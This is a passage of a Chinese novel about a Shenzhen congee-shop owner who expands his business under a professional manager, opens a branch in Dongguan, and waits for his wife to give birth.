“陈老板。”李文杰看见他,点点头,“冰箱顶有灰,三天没擦了。”
刘师傅嘟囔:“冰箱顶谁看得到……”
“看不到就不用擦?”李文杰转身,“卫生不是做给客人看的,是做给食品安全的。灰尘掉进粥里怎么办?”
刘师傅不说话了,但明显不服。
陈永福打圆场:“刘师傅,李经理说得对,以后注意。”
“知道了。”刘师傅闷声说。
李文杰又检查了灶台、储物柜、下水道,一一指出问题:灶台边角有油渍,储物柜标签贴歪了,下水道有异味。他让小玲——南山店也有个收银叫小玲,是同乡——都记下来,限期整改。
检查完,李文杰对陈永福说:“陈老板,我们开个短会。”
三人坐在店后面的小房间。黄秀英倒了茶。
“南山店主要问题是卫生标准和操作规范。”李文杰翻开笔记本,“刘师傅手艺不错,但随意性太强。今天水多放点,明天盐少放点,味道不稳定。”
陈永福看向黄秀英。黄秀英点点头:“确实,客人反映过。”
“要定标准。”李文杰说,“每锅粥用多少米、多少水、多少料,写清楚,贴在墙上。刘师傅必须按标准来。”
“那要是米不一样呢?”刘师傅忍不住说,“今天的米和昨天的米,吸水性可能不同。”
“所以要提前试。”李文杰说,“每天第一锅粥,厨师自己先尝,调整到标准味道,再开始卖。后面的粥,都按第一锅的配比来。”
这方法陈永福觉得可行。他自己熬粥,也是凭经验调整。但经验不好教,标准好教。
“行,就按李经理说的办。”他对刘师傅说,“你配合。”
刘师傅勉强点头。
“还有,”李文杰接着说,“南山店位置好,对面电子厂工人多。但我们的粥对他们来说还是偏贵。我建议推出‘工友套餐’,一大碗白粥加两个馒头,一毛五。薄利多销。”
“馒头谁做?”
“可以跟旁边的包子铺合作,批量订,成本低。”
陈永福想了想:“试试看。”
短会开完,李文杰要回罗湖。陈永福送他出去。
“李经理,辛苦了。”
“应该的。”李文杰看看他,“陈老板,有句话不知当讲不当讲。”
“请说。”
“您对员工太宽容了。”李文杰说,“管理不是交朋友,该严的时候要严。不然规矩立不起来。”
陈永福没说话。他知道李文杰说得对,但做起来难。这些员工都是苦出身,跟了他一段时间,像家人一样。他拉不下脸。
“我尽量。”
“不是尽量,是必须。”李文杰正色道,“生意要做大,就不能讲人情。讲人情,就做不大。”
这话让陈永福心里一震。他想起何老板说过类似的话。看来,这是他必须过的一关。
送走李文杰,陈永福回店里。黄秀英在教小玲用新账本。
“老板,李经理的方法虽然麻烦,但确实清楚。”黄秀英说,“夜校老师也教了类似的记账法。”
“你学得怎么样?”
“还行,就是有些专业术语不懂。”
“慢慢来。”陈永福看看表,“我回罗湖了,这边你多费心。”
“老板放心。”
坐车回罗湖的路上,陈永福一直在想李文杰的话。讲人情就做不大,这话对吗?他想起老家做生意的,都是靠人情,熟人带熟人。可深圳不一样,这里陌生人多,人情淡,规矩重。
也许真得改改了。
回到罗湖店,已经六点。晚饭时间,店里坐满了人。王建军在前台忙,看见他,点点头算是打招呼。自从李文杰来了之后,王建军话少了,只管干活。
陈永福到后厨看了看。两个厨师在熬粥,按李文杰定的标准,用秤称米,用量杯量水。动作慢了,但确实规范。
“习惯吗?”他问。
一个厨师笑笑:“慢点,但不会出错。”
那就好。
七点半,高峰期过去。陈永福正准备回家,李文杰又来了,拿着几张纸。
“陈老板,这是下个月的促销计划。”
陈永福接过来看。九月要搞“开学季”活动,学生凭学生证喝粥八折;中秋节搞“团圆粥”,买三送一;月底还要搞“会员卡”,一次性充值十块,送一碗海鲜粥。
“这么多活动,忙得过来吗?”
“就是要让客人记住我们。”李文杰说,“罗湖这边学校多,学生是重要客源。中秋节是家庭消费,要抓住。会员卡能锁定回头客。”
陈永福承认,李文杰有想法。但他担心成本。
“折扣这么多,还有利润吗?”
“有。学生粥量可以适当减少,成本就下来了。中秋节买三送一,其实鼓励了多人消费,总营业额会增加。会员卡的充值款,能增加现金流。”
这些道理陈永福懂,但没细想过。看来专业的就是不一样。
“行,按你说的办。”
李文杰走了。陈永福收拾东西准备回家,王建军过来。
“老板,有件事……”
“你说。”
“李经理要求我们每天下班前要把灶台擦三遍,擦到反光。”王建军说,“我们白天已经很累了,晚上还要这么折腾,大家有意见。”
陈永福知道这事。李文杰说香港的餐厅都这样,后厨卫生是生命线。
“建军,卫生确实重要。万一吃出问题,店就完了。”
“我们知道重要,但也不用这么夸张吧?”王建军难得抱怨,“以前我们也没这么擦,不也好好的?”
陈永福沉默了一会儿。他知道王建军说得对,但也知道李文杰说得对。这就是新旧观念的冲突。
“这样,”他说,“我跟李经理商量一下,看能不能简化点。但基本的卫生必须做好。”
王建军叹口气:“好吧。”
回到家,林玉兰在沙发上睡着了。电视开着,播着新闻。陈永福轻手轻脚走过去,关掉电视,拿了条毯子给她盖上。
林玉兰醒了,揉揉眼睛:“回来了?”
“嗯,你继续睡。”
“不睡了,做饭。”林玉兰要起身,陈永福按住她。
“你坐着,我来做。”
“你会做什么?”
“煮面总会。”
陈永福去厨房,烧水,下面条,打两个鸡蛋,放点青菜。简单,但快。
面煮好,端到客厅。两人坐在茶几前吃。
“今天怎么样?”林玉兰问。
“还好。”陈永福把李文杰的促销计划说了。
林玉兰听完,说:“这个李经理,是有本事。”
“是啊。”
“但花钱也厉害吧?”
“该花的得花。”陈永福说,“他算过账,能赚回来。”
林玉兰点点头,没再问。她最近容易累,吃了几口就放下筷子。
“不舒服?”
“就是困。”林玉兰摸摸肚子,“医生说正常,孩子在长。”
陈永福看着她隆起的肚子,心里暖暖的。年底他就要当两个孩子的父亲了,得更有担当。
吃完面,陈永福洗碗。林玉兰在沙发上又睡着了。他洗好碗,轻轻抱起她,放到床上。林玉兰嘟囔了一句,翻个身继续睡。
□□在写作业,门开着。陈永福走过去,看见孩子在画画,画的是三个人,两大一小,手拉手。
“作业写完了?”
“写完了。”□□把画递给他,“阿爸,你看。”
“画得好。”陈永福摸摸他的头,“早点睡。”
“阿爸,我们学校要开运动会,你要来吗?”
“什么时候?”
“下周五。”
陈永福想了想,下周五应该没事:“好,阿爸去。”
□□笑了:“王小军他爸也去,我们比赛谁的爸爸跑得快。”
“阿爸跑不动了,老了。”
“你不老。”□□认真地说,“你才三十多岁。”
陈永福笑了。是啊,才三十多,怎么感觉像五十了。
第二天,陈永福去找李文杰,商量卫生标准的事。
“李经理,卫生确实重要,但员工反映太累。能不能调整一下?”
李文杰想了想:“可以。但基本要求不能降:灶台每天擦,冰箱每周清,下水道每月通。其他的,比如擦几遍,可以灵活。”
“好。”
“不过陈老板,”李文杰说,“我们要开分店,要做连锁,标准必须统一。不能一个店一个样。员工累,可以轮班,可以加人,但不能降标准。”
陈永福明白这个道理。他只是不忍心看员工太辛苦。
“我知道。我会做他们工作。”
“不是做工作,是要求。”李文杰说,“管理就是要求,不是商量。”
这话又让陈永福不舒服,但他知道李文杰说得对。
接下来的几天,陈永福开始“要求”。灶台没擦干净,让返工。账本记错了,批评。服务态度不好,扣奖金。
员工们不适应,背后议论。
“老板变了,跟香港人学坏了。”
“以前多好,现在整天挑刺。”
“不想干了。”
这些话传到陈永福耳朵里,他心里难受,但没表现出来。李文杰说,这是必经阶段。
九月初,“开学季”活动开始。罗湖店门口贴了海报:学生凭学生证,所有粥品八折。
果然吸引了不少学生。中学生、大学生,三三两两来喝粥。他们钱不多,但对味道挑剔。有人嫌粥太淡,有人嫌肉少,但总的来说,生意好了两成。
陈永福发现,学生喜欢边喝粥边聊天,一坐就是半个钟头。翻台率低了,但人气旺了。其他客人看见店里人多,也愿意进来。
李文杰说这叫“人气效应”。
中秋节的活动更成功。“团圆粥”买三送一,很多家庭来吃。福田店推出了“月饼配粥”套餐,一个月饼加一碗粥,一块钱。虽然利润薄,但卖得好。
陈永福算了算,九月份的营业额比八月增长了百分之十五。李文杰的促销计划见效了。
员工们看到生意好,奖金多,对严格管理的怨言也少了。钱是最实在的。
九月中旬,陈永福接到郑文达的电话。
“陈老板,听说最近生意不错。”
“托郑先生的福。”
“不是我的福,是你们做得好。”郑文达说,“我有个想法,想跟你商量。”
“您说。”
“我想在东莞开一家店。”郑文达说,“那边工厂多,打工的人多,市场大。你愿不愿意做?”
陈永福愣住了。东莞?他从来没想过那么远。
“郑先生,三家店我已经忙不过来了……”
“不用你亲自管。”郑文达说,“派个得力的人过去,照搬深圳的模式。你提供技术和培训,占三成股份。”
三成股份,不用投钱,只出技术和人。听起来不错,但陈永福担心人手不够。
“我考虑考虑。”
“不急,你慢慢想。”郑文达说,“不过陈老板,机会不等人。东莞现在发展快,早进去早占位。”
挂了电话,陈永福坐在档口里发呆。东莞,又一个陌生的地方。他的粥铺,真的要走出深圳了吗?
晚上回家,他跟林玉兰商量。林玉兰一听就摇头。
“不行,你现在三家店都顾不过来,还去东莞?”
“不用我去,派人去。”
“派谁?秀英在南山,
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建军在罗湖,福田有余师傅。哪个走得开?”
这倒是问题。三个店长,一个都不能少。
“可以培养新人。”
“培养不要时间?”林玉兰看着他,“阿福,我知道你想做大,可你也得量力而行。你现在每天睡几个小时?你忘了上次累倒的事了?”
陈永福没忘。但他心里那团火,又被郑文达的话点燃了。东莞,更大的市场,更多的机会。
“让我想想。”
“你想吧,反正我不同意。”林玉兰起身进了卧室。
陈永福一个人坐在客厅里。电视没开,灯也没开。只有窗外透进来的光,朦朦胧胧的。
他想起了刚来深圳的时候,十平米的铺面,一口锅,几张桌子。那时候只想糊口,没想过做大。现在有了三家店,还想开第四家。人的欲望,真是无止境。
可这不就是深圳吗?不断扩张,不断生长。今天觉得够了,明天又觉得不够。
他点了支烟,慢慢抽。烟是“红双喜”,味道还是没什么特别,但贵了点。
抽完烟,他做了决定:去东莞看看。不一定要开,先看看。
第二天,他跟李文杰说了这事。李文杰很赞成。
“陈老板,这是好事。品牌要扩张,就要走出去。东莞离深圳近,消费习惯相似,成功几率大。”
“但人手是个问题。”
“可以内部培养,也可以外部招聘。”李文杰说,“关键是模式复制。只要把深圳的成功模式复制过去,问题不大。”
“那谁去管?”
“黄秀英。”李文杰毫不犹豫,“她在南山店做得很好,有管理能力,又忠诚。南山店可以提拔副店长,慢慢接替她。”
陈永福没想到李文杰会推荐黄秀英。但仔细一想,确实,秀英最合适。年轻,肯学,能吃苦。
“我跟她谈谈。”
周末,陈永福去南山店找黄秀英。两人坐在店后面的小房间,陈永福说了郑文达的想法。
黄秀英听完,愣了很久。
“老板,你是说……让我去东莞管一家店?”
“对。如果你愿意。”
黄秀英低下头,手指绞着衣角。过了好一会儿,她才说:“老板,我怕我做不好。”
“我相信你能做好。”陈永福说,“你在南山店这半年,进步很大。李经理也说你行。”
“可是东莞……我从来没去过。”
“我也没去过。”陈永福笑了,“一起去看看,再做决定。”
黄秀英抬起头,眼睛亮晶晶的:“好,我去看看。”
约好了下周三去东莞。陈永福提前跟郑文达打了招呼,郑文达说派车来接。
周三早上,郑文达的黑色轿车停在商场门口。陈永福和黄秀英上车,司机是个年轻人,话不多。
车出深圳,上107国道。路两边是稻田、鱼塘、工厂。东莞比陈永福想象中要近,一个钟头就到了。
郑文达看中的铺面在莞城中心,临街,五十平米,比深圳的店都大。但周围竞争也激烈,光这条街就有五家快餐店。
“陈老板,你看怎么样?”郑文达问。
“位置不错,但竞争大。”
“有竞争才有进步。”郑文达说,“而且我们做粥,跟他们的快餐不冲突。工人吃腻了米饭,换换口味。”
陈永福在周围转了转。确实工厂多,打工的人多。中午下班时,街上涌出密密麻麻的人,都穿着工服。
“人流是够。”他对黄秀英说,“你觉得呢?”
黄秀英有些紧张,但还是说:“我觉得可以试试。不过要调整菜单,这边工人可能更喜欢实惠的。”
“对,价格要低,分量要足。”郑文达说,“具体怎么调,你们定。”
看完铺面,三人去吃饭。郑文达选了个茶楼,点了几个菜。
“陈老板,东莞这家店,我打算投三万。”郑文达说,“你出技术和人,占三成。黄小姐去做店长,工资比深圳高百分之二十。怎么样?”
陈永福看向黄秀英。黄秀英点点头。
“行。”陈永福说。
“那就这么定了。”郑文达举起茶杯,“以茶代酒,祝我们合作成功。”
“合作成功。”
从东莞回深圳的路上,黄秀英一直看着窗外。过了好久,她才轻声说:“老板,我没想到会有这一天。”
“哪一天?”
“能管一家店,还是在外地。”黄秀英转过头,眼睛有点红,“我刚来深圳时,连工作都找不到。要不是你和老板娘收留,我现在不知道在哪。”
陈永福拍拍她的肩:“是你自己争气。”
“我会好好干的,不给你丢脸。”
“我相信你。”
车进深圳,天色已晚。华灯初上,这座城市又开始它的夜生活。
陈永福看着窗外的灯火,想起一年前,他站在老街的老榕树下,看着自己的小粥铺。那时候只想站稳脚跟,没想过能走这么远。
现在,他的粥铺要走出深圳了。
他不知道前面还有什么等着他,但他知道,他得走下去。为了家人,为了跟着他的人,也为了自己心里那团还没灭的火。
车停在商场门口。陈永福和黄秀英下车。
“老板,我回去准备准备。”黄秀英说。
“好,慢慢来,不急。”
陈永福看着黄秀英走进商场,背影在灯光下拉得很长。这个曾经蹲在路灯下哭的女孩,现在要独当一面了。
时间真快,人也真能变。
他转身往家走。路灯把他的影子拉长又缩短,缩短又拉长。
回到家,林玉兰已经睡了。□□在写作业,看见他,小声说:“阿爸,阿妈今天不舒服,吐了两次。”
陈永福心里一紧:“我去看看。”
他轻轻走进卧室。林玉兰侧躺着,呼吸均匀。他摸摸她的额头,不烫。
林玉兰醒了:“回来了?”
“嗯,不舒服?”
“没事,怀孕正常反应。”林玉兰握住他的手,“东莞看得怎么样?”
“还行,定了。”
“你真要去?”
“不是我,是秀英去。”
林玉兰沉默了一会儿:“秀英能行吗?”
“能行。”陈永福说,“她长大了。”
“是啊,长大了。”林玉兰轻声说,“我们都老了。”
“不老,还年轻。”
林玉兰笑了:“你就会说好听的。”
陈永福也笑了,在她身边躺下。两人都没说话,听着彼此的呼吸。
窗外传来车声,人声,这座城市永不眠的声音。
陈永福闭上眼睛。明天还要早起熬粥,还要面对三家店的琐事,还要准备东莞店的开业。
但今晚,他想好好睡一觉。
睡吧,明天又是新的一天。
12. 脚步
十月的深圳,总算有了点秋天的意思。早晚凉了,风吹在脸上不再黏糊糊的。商场里的空调关了,窗户打开,能听见外面的车声。
陈永福坐在罗湖店的小办公室里——说是办公室,其实就是在仓库角落隔出三平米,放张桌子、一把椅子。他在看李文杰做的季度报表,密密麻麻的数字,看得眼睛花。
三家店九月份的营业额:罗湖五千二,南山三千八,福田四千三。总利润两千一。比八月多了三百。
这成绩李文杰不满意,说“增长太慢”。陈永福却觉得不错。稳扎稳打,比大起大落强。
但东莞店的事得抓紧了。郑文达昨天又来电话,问什么时候能开业。陈永福说至少得准备两个月,郑文达说能不能快点,年底是旺季。
快不了。黄秀英要去东莞,得交接南山店的工作。南山店要提拔副店长,得选人、培训。东莞店要装修、招工、培训,样样要时间。
陈永福把黄秀英叫到办公室。
“秀英,东莞店我打算十二月初开业。你十一月就得过去,还有一个月时间,够吗?”
黄秀英想了想:“够。南山店这边,小玲可以接我的班。她跟我半年了,流程都熟。”
小玲是南山店的收银,就是那个差点为八毛钱急哭的女孩。她学东西快,现在账目、采购都能上手。
“你觉得她行?”
“行。”黄秀英肯定地说,“就是年轻,威信不够。刘师傅可能不服她。”
刘师傅是个老油条,仗着手艺好,不太听管。黄秀英能镇住他,小玲未必。
“这个我来处理。”陈永福说,“你专心准备东莞的事。李经理会帮你做开业计划,你配合他。”
“好。”
黄秀英走后,陈永福去了南山店。中午刚过,店里客人不多。刘师傅在后厨抽烟,看见陈永福来,赶紧掐了。
“老板。”
“刘师傅,坐,说个事。”
两人坐在后厨的小凳子上。陈永福开门见山:“秀英下个月要去东莞开店,南山店以后让小玲管。”
刘师傅脸色一变:“小玲?她一个小姑娘……”
“小姑娘怎么了?秀英去南山时,不也是小姑娘?”陈永福看着他,“刘师傅,你是老师傅,手艺好,得带带年轻人。”
“我没说不带,就是……”刘师傅憋了半天,“小玲懂什么?她就会收个钱。”
“不懂可以学。”陈永福说,“你多教教她。以后店里后厨你说了算,前厅她管。互相配合。”
刘师傅不吭声,低头搓着手上的面粉。
陈永福知道他心里不服,但没关系,时间长了就好了。
“还有个事。”陈永福说,“你上个月奖金加了十块,对吧?”
“嗯。”
“这个月要是营业额能过四千,再加十块。”
刘师傅眼睛亮了:“真的?”
“真的。不过得保证味道稳定,不能糊弄。”
“那肯定!”刘师傅拍胸脯,“陈老板放心,我一定把店搞好。”
画饼加钱,这招陈永福跟李文杰学的。有用。
处理好南山店的事,陈永福开始琢磨东莞店的人手。除了黄秀英,还得配个厨师,两个服务员,一个杂工。厨师最好从深圳派,服务员可以在当地招。
他问余师傅,福田店有没有合适的厨师能去东莞。余师傅推荐了个徒弟,姓赵,二十五岁,在福田店干了三个月,勤快,肯学。
“小赵手艺还嫩,但人踏实。黄秀英要是能带带他,能成。”
“行,就他。”陈永福说,“工资比在福田高十块。”
“那敢情好。”
厨师定了,接下来是培训。陈永福让黄秀英每天下午来罗湖店,跟着他学熬粥。特别是海鲜粥,火候、配料,一点不能差。
黄秀英学得认真,拿个小本子记。米和水的比例,下料的时间,调味的顺序,写得密密麻麻。
“老板,你熬粥时好像从来不看表。”一天下午,黄秀英忽然说。
陈永福愣了一下,看看墙上的钟:“是不看,凭感觉。”
“可感觉怎么教?”
这问题把陈永福问住了。是啊,感觉怎么教?他熬了十几年粥,什么时候下米,什么时候加水,什么时候放料,全在手上,在眼里,在鼻子里。但说不出来。
“你看粥泡。”他指着锅里,“米开花到这个程度,就得转小火。你看这个稠度,勺子搅起来有点阻力,就说明好了。”
黄秀英盯着锅看,似懂非懂。
“多熬几次,就有感觉了。”陈永福只能说。
教了半个月,黄秀英熬的粥终于有了七八分像。陈永福尝了,点点头:“行了,够用了。剩下的,自己多练。”
“谢谢老板。”
“别谢我,是你自己用心。”
十月下旬,林玉兰的肚子更大了。走路要扶腰,上下楼喘气。陈永福尽量早点回家,帮她做家务。
一天晚上,林玉兰忽然说肚子疼。不是阵痛,是持续的疼,脸色发白。
陈永福慌了,赶紧送她去医院。夜里十一点,医院急诊室人不多。医生检查后说没事,是胎儿压迫神经,正常现象。
“但要注意休息,不能太累。”医生说。
“她不累,就做点家务。”陈永福说。
“家务也是累。”医生看看他,“你是她丈夫吧?多分担点。”
陈永福脸红了:“是,是。”
拿了点药,回家已经凌晨一点。林玉兰躺在床上,陈永福坐在床边守着。
“你睡吧,明天还要早起。”林玉兰说。
“不困,陪你一会儿。”
林玉兰握住他的手:“阿福,我有点怕。”
“怕什么?”
“怕生孩子。”林玉兰轻声说,“生建国时,我在老家,你不在身边。现在你在身边了,可我年纪大了,怕出问题。”
“不会的,现在医疗条件好。”陈永福安慰她,“医生说一切正常。”
“说是这么说……”林玉兰叹口气,“阿福,要是万一……我是说万一……你得把两个孩子带好。”
“别说傻话。”陈永福心里一紧,“不会有万一。”
林玉兰不再说话,闭上眼睛。但陈永福知道她没睡着。
他自己也睡不着。妻子的话让他害怕。他从来没想过“万一”的事。一直以来,他只觉得日子会越来越好,生意会越做越大,家庭会越来越幸福。从没想过失去的可能。
现在想想,他是不是太自信了?把摊子铺这么大,万一哪个环节出问题,万一他倒下了,这个家怎么办?
但开弓没有回头箭。东莞店要开,深圳的三家店要维持,几十号员工要养。他停不下来。
只能更小心,更努力。
第二天,陈永福去了趟银行,取了一千块现金。回家交给林玉兰。
“你收着,万一要用钱,方便。”
“取这么多干嘛?”
“备用。”陈永福说,“产检、住院、生孩子,都要钱。有备无患。”
林玉兰接过钱,小心地收好。她知道丈夫担心什么,但没说破。
十一月初,黄秀英交接完南山店的工作,准备去东莞。临走前,陈永福请她吃饭,在商场旁边的小餐馆。
点了三个菜:白切鸡、清蒸鱼、炒青菜。黄秀英吃得不多,话也不多。
“紧张?”陈永福问。
“有点。”黄秀英老实说,“老板,我怕让你失望。”
“不会失望。”陈永福给她夹了块鸡肉,“你记住,开新店,头三个月最重要。味道要稳,服务要好,价格要实在。别的,慢慢来。”
“嗯。”
“还有,遇事别慌。解决不了就打电话给我,或者问李经理。”
“知道。”
吃完饭,陈永福送她去车站。郑文达派了车来接,直接送到东莞。
“到了给我打电话。”
“好。”
黄秀英上车,回头看了一眼。陈永福站在路边,朝她挥手。
车开走了。陈永福站在那儿,看了很久。
回到商场,李文杰在办公室等他。
“陈老板,东莞店的开业计划做好了。”李文杰递过一份文件,“您看看。”
陈永福翻开看。开业活动、促销方案、人员安排、预算控制,样样详细。
“李经理费心了。”
“应该的。”李文杰说,“陈老板,还有件事。罗湖店的王建军,我觉得可以培养成区域经理。”
“区域经理?”
“就是管两三家店。”李文杰说,“您以后要管深圳和东莞的店,需要帮手。王建军忠诚,肯干,可以培养。”
陈永福想了想,觉得有道理。王建军跟了他一年多,从送餐做起,现在能管罗湖店。确实是个苗子。
“那就培养吧。具体怎么做?”
“我打算让他轮岗,每个店待一个月,熟悉不同店面的运营。然后送他去培训班,学管理
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“培训班?”
“市里有个餐饮管理培训班,三个月,晚上上课。”李文杰说,“我打听过了,学费不贵,学的东西实用。”
陈永福点点头:“行,让他去。学费店里出。”
“好。”
王建军听说要去培训班,既高兴又担心。
“老板,我小学毕业,能学得会吗?”
“学得会。”陈永福说,“实践你有了,再学点理论,如虎添翼。”
“那我试试。”
“不是试试,是必须学好。”
“是!”
安排好这些,陈永福觉得肩上的担子轻了点。有人分担,总是好的。
十一月中旬,东莞店装修完成了。黄秀英打电话来,说效果不错,就是有些细节要调整。
“老板,厨房的排烟管道有点问题,油烟排不出去。得改。”
“改,多少钱都改。”陈永福说,“厨房通风是大事,不能省。”
“还有,这边招的服务员都是本地人,听不懂普通话,我得学点东莞话。”
陈永福笑了:“这个慢慢来。先把店开起来。”
“嗯。”
挂了电话,陈永福想起自己刚来深圳时,也听不懂粤语。现在虽然说得不标准,但能听懂了。时间能解决很多问题。
十一月底,林玉兰去做产检。陈永福陪她去,第一次进B超室。医生指着屏幕上的影像说:“看,这是头,这是手,这是脚。孩子在动呢。”
陈永福凑过去看。黑白图像,模糊不清,但他看见一个小小的轮廓,在动。
“健康吗?”他问。
“健康,一切正常。”医生说,“预产期十二月二十号左右。”
“能看出男女吗?”
“能,但医院规定不能说。”医生笑笑,“留个惊喜吧。”
陈永福也笑了。男女都好,健康就行。
从医院出来,林玉兰心情很好,说要吃甜食。陈永福带她去甜品店,点了双皮奶和姜撞奶。
“阿福,你说会是男孩还是女孩?”林玉兰问。
“女孩吧,像你,温柔。”
“男孩也好,像你,能干。”
两人相视一笑。难得的轻松时刻。
“名字想好了吗?”陈永福问。
“想好了。男孩叫陈建华,女孩叫陈晓梅。”
“建华……建国有,建华也有,好。”陈永福点头,“晓梅也好听。”
“你喜欢就行。”
吃完甜品,两人慢慢走回家。阳光很好,照在身上暖洋洋的。路边的紫荆花还在开,粉粉紫紫的。
“阿福,等孩子生了,我想回趟老家。”林玉兰忽然说。
“回老家?”
“嗯,带孩子们回去看看爷爷奶奶。建国都快不记得老家什么样了。”
陈永福想了想:“等孩子满月吧,春天回去。”
“好。”
走到小区门口,碰见邻居张阿姨。张阿姨看见林玉兰的肚子,笑着说:“快生了吧?恭喜恭喜。”
“谢谢张阿姨。”
“陈老板真是好福气,生意做得好,家庭也幸福。”
陈永福笑笑,没说话。福气是有的,但辛苦也只有自己知道。
回到家,□□在做作业。看见父母回来,跑过来:“阿爸阿妈,医生怎么说?”
“医生说弟弟妹妹很健康。”林玉兰摸摸他的头。
“太好了。”□□高兴地说,“等他出来,我教他写字。”
“好,你当小老师。”
晚上,陈永福算账。十一月份三家店的营业额出来了,比十月又涨了点。东莞店开业在即,预算还够用。
他拿出一张纸,写接下来的计划:
十二月初,东莞店开业。
十二月中,王建军开始轮岗。
十二月底,孩子出生。
明年一月,总结全年,规划明年。
写完,他看着这张纸,有点恍惚。一年前,他还不敢想这些。现在,计划一件件变成现实。
时间真快,人也真能变。
窗外传来猫叫声,还有隐约的电视声。深圳的夜,依然热闹。
陈永福关掉台灯,上床睡觉。林玉兰已经睡着了,呼吸均匀。
他躺下,闭上眼睛。明天还要早起熬粥,还要处理三家店的事,还要准备东莞店开业。
但今晚,他想好好睡一觉。
睡吧,明天又是新的一天。
13. 新火
东莞常平镇,清晨六点。
黄秀英站在新店的玻璃门后,看着外面还黑着的街。路灯稀稀拉拉地亮着,灯下飞蛾扑腾。远处工厂的烟囱开始冒烟,灰白色的,一缕一缕升上天。
后厨,小赵已经在熬粥了。锅是新买的,比深圳的小一号,但足够用。米是昨天从深圳运来的,同一批米,保证味道一样。
“赵师傅,水少放点,今天的米比较干。”黄秀英走过去说。
小赵嗯了一声,舀出一瓢水。他是个实在人,话不多,让做什么就做什么。
黄秀英检查了一遍食材。肉是早上市场买的,还新鲜。海鲜不多,常平这边靠海不如深圳近,虾蟹贵。郑文达说先少做点海鲜粥,看市场反应。
六点半,天蒙蒙亮。街上开始有人走动,大多是去上早班的工人,穿着统一的蓝色工服,脚步匆匆。
黄秀英深吸一口气,打开了店门。门上的招牌是新的,“家香粥铺”四个字,跟深圳的一样,但底子是红色的,比深圳的显眼。
第一个客人是个中年男人,推着自行车在门口停下。
“开业了?”
“开业了,师傅里面坐。”黄秀英赶紧说。
男人看了看菜单:“白粥一毛?比那边贵。”
“我们米好,熬得稠。”黄秀英解释,“您尝尝,不好喝不要钱。”
“来一碗吧。”
男人坐下,黄秀英盛了粥,多给了一勺咸菜。男人喝了一口,点点头:“是稠。”
“您慢用。”
第一个客人满意,黄秀英心里踏实了点。
七点以后,客人多起来。大多是工人,要赶在七点半前到厂。他们吃得快,喝完粥就走,不多话。但也有嫌贵的,看了一眼菜单就走了。
黄秀英发现,常平的工人比深圳的节省。很多人只要白粥,连咸菜都不要。肉粥卖得慢,海鲜粥更慢。
中午,她给陈永福打电话。
“老板,这边工人消费低,海鲜粥卖不动。”
电话那头,陈永福沉默了一会儿:“那就少做点,主要推白粥和肉粥。价格能降吗?”
“白粥一毛已经是最低了,再降没利润。”
“那就在分量上做文章。”陈永福说,“碗用大点的,看着实惠。”
“好。”
“还有,”陈永福顿了顿,“你注意身体,别太累。”
“知道,老板你也注意。”
挂了电话,黄秀英去市场找大碗。常平的市场比深圳小,东西也少。她转了一圈,找到一种粗瓷碗,比深圳的大一圈,但便宜,一毛钱一个。买了五十个。
下午试了试,同样的粥,用大碗盛,看着满。第二天早上,她特意在门口写了块牌子:“大碗白粥,一毛管饱”。
果然,要白粥的人多了。虽然成本高了点,但薄利多销。
开业第三天,出了个事。
中午高峰期,一个工人喝粥时从粥里吃出根头发。他啪地把碗一放,站起来:“老板!这什么?”
黄秀英跑过去,看见粥里确实有根短头发,黑色的。她脑子嗡的一声。
“对不起对不起,这碗我给您换,钱也退您。”
“退钱就完了?”工人不依不饶,“我吃出头发,恶不恶心?你们这卫生怎么搞的?”
店里其他客人都看过来。黄秀英脸涨得通红,连连鞠躬:“实在对不起,是我们疏忽。今天您的饭钱全免,再赔您五块钱,您看行吗?”
工人看看她,又看看手里的五块钱,气消了点:“算了,下次注意。”
“一定注意,一定。”
送走工人,黄秀英立刻召集所有员工开会。后厨、前厅,一共五个人,站成一排。
“谁掉的头发?”她问。
没人说话。
“自己承认,扣一天工资。要是让我查出来,扣三天。”
静了一会儿,一个服务员小声说:“可能……可能是我的。我早上梳头,可能掉进去了。”
黄秀英看着她,是个十八岁的本地姑娘,叫阿芳。
“阿芳,后厨卫生是命根子。以后进后厨必须戴帽子,长头发必须扎起来。听见没?”
“听见了。”
“今天的事,扣你一天工资,有没有意见?”
“没意见。”
“其他人也听着,”黄秀英扫视一圈,“再出现这种问题,不管是谁,直接走人。”
员工们低下头,不敢看她。
黄秀英心里也难受。她知道阿芳家里困难,父亲有病,母亲在厂里做工,她出来打工补贴家用。扣一天工资,对她来说不少。
但规矩就是规矩。李文杰说过,管理不能讲人情。
晚上打烊后,黄秀英把阿芳叫到一边,塞给她五块钱。
“拿着,别让人看见。”
阿芳愣住了:“店长,这……”
“工资要扣,规矩不能坏。这是我私人给你的,补贴家用。”黄秀英说,“但下不为例。”
阿芳眼圈红了:“谢谢店长,我一定注意。”
“去吧。”
看着阿芳离开的背影,黄秀英想起几年前的自己。也是这样小心翼翼,这样生怕犯错。时间真快,现在轮到她管别人了。
她给陈永福打电话汇报今天的事。陈永福听完,说:“你处理得对。规矩要立,但人心也要暖。”
“老板,我是不是太凶了?”
“该凶的时候要凶。”陈永福说,“但凶完要给个甜枣,这是李经理教我的。”
黄秀英笑了:“老板,你也学会这套了。”
“被逼的。”陈永福也笑了,“对了,玉兰这两天可能要生,我最近可能过不去东莞。那边你多费心。”
“老板娘要生了?恭喜老板!你放心,这边我能搞定。”
“辛苦你了。”
挂了电话,黄秀英站在店门口。常平的夜比深圳安静,工厂的机器声停了,只有偶尔的狗叫声。路灯下,飞蛾还在扑腾。
她想起深圳,想起罗湖店的老榕树,想起陈永福一家人。现在她在东莞,一个人管一家店,像当年的陈永福一样。
责任真重,但感觉真好。
深圳这边,林玉兰的预产期越来越近。
陈永福把罗湖店的事暂时交给王建军,自己尽量多在家。王建军开始轮岗,第一个月在罗湖店,下个月去南山,再去福田。李文杰说这叫“全面培养”。
王建军紧张,怕做不好。陈永福说:“放心做,我在后面看着。”
话是这么说,陈永福还是每天去店里转转。不是不放心,是习惯了。十几年早起熬粥,突然闲下来,反而不自在。
一天下午,他在店里对账,手机响了——新买的,摩托罗拉,砖头大小,花了六千块。郑文达说做生意要有手机,方便联系。
是医院打来的。
“陈先生,您太太有临产迹象,已经送进产房了。”
陈永福脑子一片空白,手里的笔掉了。
“我马上来!”
他冲出店门,拦了辆出租车。深圳的出租车是红色的“夏利”,起步价八块。平时舍不得坐,今天顾不上了。
到医院,林玉兰已经进了产房。□□由邻居张阿姨带着,在走廊等着。
“阿爸!”□□跑过来,“阿妈在里面。”
“我知道。”陈永福摸摸他的头,“别怕,阿妈没事。”
张阿姨说:“玉兰是中午开始疼的,我赶紧送她来。医生说宫口开三指了,快生了。”
“谢谢张阿姨。”
“客气啥,邻居嘛。”
